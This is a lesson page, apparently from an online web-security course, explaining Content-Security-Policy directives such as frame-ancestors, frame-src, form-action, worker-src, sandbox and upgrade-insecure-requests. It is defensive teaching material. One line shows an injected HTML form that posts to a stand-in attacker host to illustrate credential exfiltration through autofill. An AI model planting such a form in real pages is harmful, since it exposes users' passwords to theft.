Skip to content

Lesson 3 of 9 · 22m

Directive by Directive: The Corners That Bite

The high-value CSP directives beyond script-src — frame ancestors, form action, workers, media, sandboxing, and mixed-content behavior.

Most CSP incidents are not exotic script bypasses. They are a payment iframe that vanishes, a password reset form that posts nowhere, or a PDF preview worker that never starts. Know which directive owns which behavior before production teaches you.

Framing in both directions

frame-ancestors controls who may embed you:

Content-Security-Policy: frame-ancestors 'self' https://admin.internal.example

frame-src controls which documents you may embed:

Content-Security-Policy: frame-src https://js.stripe.com https://checkout.internal.example

They answer different questions. Teams routinely tighten frame-src when they meant to tighten frame-ancestors, then wonder why clickjacking protection did not change. frame-ancestors is also one of the directives ignored inside a <meta> tag — it must arrive as a response header.

Forms and navigations

form-action constrains form submission targets:

<form action="https://attacker.example/collect" method="post">

If attacker HTML can inject this form, password managers and autofill can become exfiltration channels. form-action 'self' is cheap insurance. There is no equally clean CSP control for ordinary link clicks; CSP is not a navigation firewall.

Workers, media, and prefetch

worker-src 'self' blob:;
media-src 'self' https://media.internal.example;
manifest-src 'self';

A service worker or module worker blocked by worker-src often fails as a generic application error rather than an obvious console message. blob: is common for editors, PDF viewers, and media pipelines; allow it only where the feature needs it. data: in img-src is common for small inline assets, but avoid broad data: on script-capable directives.

Sandboxing embedded content

sandbox in CSP applies restrictions as though the page were in a sandboxed iframe:

Content-Security-Policy: sandbox allow-scripts allow-forms; default-src 'none'

This is useful for rendering untrusted user content, but usually wrong for your main application because it changes storage, popup, and navigation semantics. For embedded third-party widgets, prefer the sandbox attribute on the individual <iframe> where you can grant only what that widget needs.

Mixed content and upgrades

upgrade-insecure-requests asks the browser to rewrite http:// subresource URLs on an HTTPS page to HTTPS before fetching. It helps during migrations, but it is not magic: if the asset host does not support TLS, the upgraded request still fails. Modern browsers already block active mixed content; do not use this directive as an excuse to leave stale HTTP URLs forever.

Field notes

  • frame-ancestors does not inherit into nested iframes exactly the way people assume; test the real embedding chain.
  • child-src is deprecated; use frame-src and worker-src.
  • Fallback order matters. If worker-src is absent, the browser falls back through child-src, then script-src, then default-src.
  • A wildcard in one niche directive often defeats a careful policy: audit connect-src, img-src, and frame-src as exfiltration channels, not just script sources.

Was this lesson helpful?

Sign in to rate